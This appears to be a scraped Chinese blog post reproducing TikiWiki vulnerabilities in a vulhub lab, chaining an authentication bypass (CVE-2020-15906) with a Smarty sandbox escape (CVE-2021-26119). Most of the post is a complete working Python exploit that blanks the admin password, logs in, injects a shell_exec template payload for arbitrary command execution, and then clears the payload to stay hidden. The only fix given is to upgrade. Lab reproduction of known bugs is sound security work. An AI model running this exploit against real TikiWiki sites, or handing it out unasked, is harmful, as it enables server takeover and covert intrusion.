zoukankan      html  css  js  c++  java
  • tikiwiki漏洞复现

    简介

    漏洞环境不另作说明,均为vulhub。

    参考链接:

    TikiWiki是基于PHP、ADOdb以及smarty开发的CMS(内容管理系统)/门户系统/群件(Groupware)系统。更重要的是TikiWiki是一个基于LGPL协议的开源工程,她由来自全世界范围的的开源爱好者、捐赠者参与开发维护的。

    Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)

    参考链接:

    Tiki Wiki CMS 在21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。

    漏洞复现

    启动环境,环境中使用的是Tiki Wiki CMS 21.1。环境启动后,访问http://your-ip:8080可以看到其欢迎页面。

    在该漏洞环境中,已经存在P神写的poc,使用如下命令执行:

    python poc.py [your-ip:port] / [command]

    该POC先使用CVE-2020-15906绕过认证,获取管理员权限;再使用Smarty的沙盒绕过漏洞(CVE-2021-26119)于后台执行任意命令。

    poc内容:

    import requests
    import sys
    import re
    
    
    def auth_bypass(s, t):
        d = {
            "ticket" : "",
            "user" : "admin",
            "pass" : "trololololol",
        }
        h = { "referer" : t }
        d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
        d["pass"] = "" # blank login
        r = s.post("%stiki-login.php" % t, data=d, headers=h)
        r = s.get("%stiki-admin.php" % t)
        assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
    
    def black_password(s, t):
        uri = "%stiki-login.php" % t
        # setup cookies here
        s.get(uri)
        ticket = get_ticket(s, uri)
        d = {
            'user':'admin', 
            'pass':'trololololol',
        }
        # crafted especially so unsuccessful_logins isn't recorded
        for i in range(0, 51):
            r = s.post(uri, d)
            if("Account requires administrator approval." in r.text):
                print("(+) admin password blanked!")
                return
        raise Exception("(-) auth bypass failed!") 
    
    def get_ticket(s, uri):
        h = { "referer" : uri }
        r = s.get(uri)
        match = re.search('class="ticket" name="ticket" value="(.*)" />', r.text)
        assert match, "(-) csrf ticket leak failed!"
        return match.group(1)
    
    def trigger_or_patch_ssti(s, t, c=None):
        # CVE-2021-26119
        p = { "page": "look" }
        h = { "referer" : t }
        bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec("%s")}')}endrce" % c
        d = {
            "ticket" : get_ticket(s, "%stiki-admin.php" % t),
            "feature_custom_html_head_content" : bypass if c else '',
            "lm_preference[]": "feature_custom_html_head_content"
        }
        r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
        r = s.get("%stiki-index.php" % t)
        if c != None:
            assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
            cmdr = r.text.split("startrce")[1].split("endrce")[0]
            print(cmdr.strip())
    
    def main():
        if(len(sys.argv) < 4):
            print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
            print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
            print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
            return
        p = sys.argv[2]
        c = sys.argv[3]
        p = p + "/" if not p.endswith("/") else p
        p = "/" + p if not p.startswith("/") else p
        t = "http://%s%s" % (sys.argv[1], p)
        s = requests.Session()
        print("(+) blanking password...")
        black_password(s, t)
        print("(+) getting a session...")
        auth_bypass(s, t)
        print("(+) auth bypass successful!")
        print("(+) triggering rce...
    ")
        # trigger for rce
        trigger_or_patch_ssti(s, t, c)
        # patch so we stay hidden
        trigger_or_patch_ssti(s, t)
    
    if __name__ == '__main__':
        main()
    

    漏洞修复

    升级版本。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    【树形dp】Find Metal Mineral
    【树形dp】Apple Tree
    【状压dp】Islands and Bridges
    【状压dp】Travelling
    【状压dp】Most Powerful
    【线段树】Mayor's posters
    【线段树】I Hate It
    【线段树】Atlantis
    【线段树】校门外的树
    【并查集】银河英雄传说
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15523897.html
Copyright © 2011-2022 走看看